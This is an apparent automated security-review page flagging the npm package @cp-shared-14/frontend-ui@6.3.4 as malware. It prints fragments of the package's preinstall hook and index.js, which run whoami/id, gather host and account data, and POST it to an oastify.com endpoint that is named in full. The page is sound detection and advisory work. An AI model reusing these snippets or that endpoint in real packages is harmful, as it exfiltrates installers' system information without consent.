registry / Credential exfiltration / @cp-shared-14/frontend-ui
@cp-shared-14/frontend-ui
test
This report shows the evidence for @cp-shared-14/frontend-ui@6.3.4, the only known version.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiThis is an unconsented install-time data-exfiltration payload. The automatic lifecycle trigger, local account reconnaissance, and fixed external POST establish concrete malicious behavior.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
npm installation invokes the preinstall lifecycle hook.
Impact
Exposes user, host, operating-system, home-directory, and working-directory information to the remote operator.
Mechanism
Preinstall system-information collection and external POST exfiltration.
Attack narrative
On installation, package.json runs node index.js as preinstall. That script gathers username, UID/GID, shell, hostname, OS details, home directory, working directory, and whoami/id command output. It serializes this data and posts it to a fixed OAST endpoint.
AI rationale
This is an unconsented install-time data-exfiltration payload. The automatic lifecycle trigger, local account reconnaissance, and fixed external POST establish concrete malicious behavior.
Evidence
package.jsonindex.js
Network endpoints1
wll9fhprkhoohy3ut08xg82cq3wukk89.oastify.com/system-info
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The preinstall hook automatically runs index.js during installation.
- The script collects account, host, OS, home-directory, and current-directory data, including shell-command output.
- It sends the collected data in an HTTP POST request to a fixed external OAST endpoint.
Evidence against
Behavioral surface
ChildProcessNetwork
HighEntropyStringsUrlStrings
Source & flagged code
7 flagged · loading sourcepackage.jsonView file
•scripts.preinstall = node index.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg8"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"preinstall" : "node index.js"
}
High
Suspicious Lifecycle Evidence
The preinstall hook automatically runs index.js during installation.
package.jsonView on unpkg · L8index.jsView file
1const { exec } = require('child_process');
L2: const os = require('os');
High
•command output transform/external POST = const { exec } = require('child_process');\nconst os = require('os');\nconst https = require('https');\nconst http = require('http');\n\n \nconst server_url = 'https://[redacted].oastify.com/system-info'; \n \n\n \nfunction executecommand(command) {\n return new promise((resolve, reject) => {\n exec(command, (error, stdout, stderr) => {\n if (error) {\n reject(error);\n return;\n }\n resolve(stdout.trim());\n });\n });\n}\n\n \nasync function getsysteminfo() {\n try {\n const systemdata = {\n timestamp: new date().toisostring(),\n whoami: '',\n id: '
High
Fixed External Command Output Exfiltration
Source captures command output, transforms it, and includes it in a POST body sent to a literal external destination.
index.jsView on unpkg1const { exec } = require('child_process');
L2: const os = require('os');
L3: const https = require('https');
L4: const http = require('http');
...
L12: return new Promise((resolve, reject) => {
L13: exec(command, (error, stdout, stderr) => {
L14: if (error) {
...
L30: pwd: '',
L31: hostname: os.hostname(),
L32: platform: os.platform(),
...
L98: if (res.statusCode >= 200 && res.statusCode < 300) {
L99: resolve({ statusCode: res.statusCode, body: responseData });
High
Sandbox Evasion Gated Capability
Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.
index.jsView on unpkg · L1•Trigger-reachable fixed external POST callback chain: scripts.preinstall -> index.js
const https = require('https');
const http = require('http');
const SERVER_URL = 'https://[redacted].oastify.com/system-info'; // Change this to your server URL
const protocol = urlObj.protocol === 'https:' ? https : http;
const payload = JSON.stringify(data);
port: urlObj.port || (urlObj.protocol === 'https:' ? 443 : 80),
method: 'POST',
req.write(payload);
High
Trigger Reachable External Post Callback
A manifest entrypoint or package-local install chain reaches a fixed external POST callback.
index.jsView on unpkg•matchType = malicious_source_fingerprint_signature
signature = a8c0a39e872fe207
signatureType = suspicious_hashes
sourceLabel = Datadog
matchedPackage = @zuora-marketing/zuora-marketing-website@2.0.0
matchedPath = index.js
matchedIdentity = npm:[redacted]:2.0.0
similarity = 1.000
shingleOverlap = 1
summary = Datadog malicious npm corpus sample: samples/npm/malicious_intent/@zuora-marketing@zuora-marketing-website/2.0.0/2025-12-12-@zuora-marketing_zuora-marketing-website-v2.0.0.zip
High
Known Malware Source Fingerprint Signature
Source fingerprint signature matches a known malicious package signature; route for source-aware review.
index.jsView on unpkgFindings
7 High2 Medium3 Low
HighInstall Time Lifecycle Scriptspackage.json
HighChild Processindex.js
HighFixed External Command Output Exfiltrationindex.js
HighSandbox Evasion Gated Capabilityindex.js
HighTrigger Reachable External Post Callbackindex.js
HighKnown Malware Source Fingerprint Signatureindex.js
HighSuspicious Lifecycle Evidencepackage.json
MediumNetwork
MediumStructural Risk Force Deep Review
LowScripts Present
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to @cp-shared-14/frontend-ui@6.3.4.
The versions list below shows the verdict for each recorded version.
- Avoid installing @cp-shared-14/frontend-ui@6.3.4. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.